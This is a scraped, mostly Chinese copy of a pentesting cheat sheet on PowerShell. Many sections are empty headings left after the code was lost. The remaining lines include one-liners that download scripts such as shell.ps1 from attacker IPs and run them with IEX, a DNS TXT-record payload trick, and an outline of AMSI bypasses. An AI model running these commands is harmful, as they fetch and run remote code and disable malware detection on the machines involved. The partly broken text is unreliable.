Basic PowerShell for Pentesters

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

默认 PowerShell 位置

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

开始的基本 PowerShell 命令

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

下载 & 执行

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

使用 AMSI Bypass 后台下载并执行

在Linux中使用b64

下载

System.Net.WebClient

Invoke-WebRequest

调用-WebRequest

Wget

Wget

BitsTransfer

位传输

Base64 Kali & EncodedCommand

Base64 Kali & EncodedCommand

启用 WinRM(远程 PS)

禁用 Defender

AMSI bypass

amsi.dll加载到您的进程中,并具有任何应用程序与之交互所需的导出函数。由于它被加载到您控制的进程的内存空间中,您可以通过覆盖内存中的指令来更改其行为。使其无法检测任何内容。

因此,您的 AMSI 绕过的目标是覆盖内存中该 DLL 的指令,使检测无效

AMSI 绕过生成器网页: https://amsi.fail/

AMSI Bypass 2 - Managed API Call Hooking

查看此帖子以获取详细信息和代码。简介:

这种新技术依赖于对.NET方法的API调用挂钩。事实证明,.NET方法需要在内存中编译为本机机器指令,最终看起来非常类似于本机方法。这些编译方法可以被挂钩以更改程序的控制流。

执行.NET方法的API调用挂钩的步骤如下:

  1. 确定要挂钩的目标方法

  2. 定义一个与目标具有相同函数原型的方法

  3. 使用反射查找方法

  4. 确保每个方法都已编译

  5. 找到内存中每个方法的位置

  6. 用指向我们恶意方法的指令覆盖目标方法

AMSI Bypass 3 - SeDebug Privilege

按照此指南和代码,您可以看到,具有足够的权限来调试进程时,可以生成一个powershell.exe进程,对其进行调试,监视其何时加载amsi.dll并将其禁用。

AMSI Bypass - 更多资源

PS-History

查找更新的文件

选项:CreationTimeCreationTimeUtcLastAccessTimeLastAccessTimeUtcLastWriteTimeLastWriteTimeUtc

获取权限

操作系统版本和热补丁

环境

其他连接的驱动器

回收站

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

域侦察

PowerView/SharpView

用户

将安全字符串转换为明文

或者直接从 XML 解析:

SUDO

SUDO

用户组

剪贴板

进程

服务

从安全字符串获取密码

计划任务

网络

端口扫描

接口

防火墙

路由

ARP

ARP

主机

Ping

Ping

SNMP

将SDDL字符串转换为可读格式

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于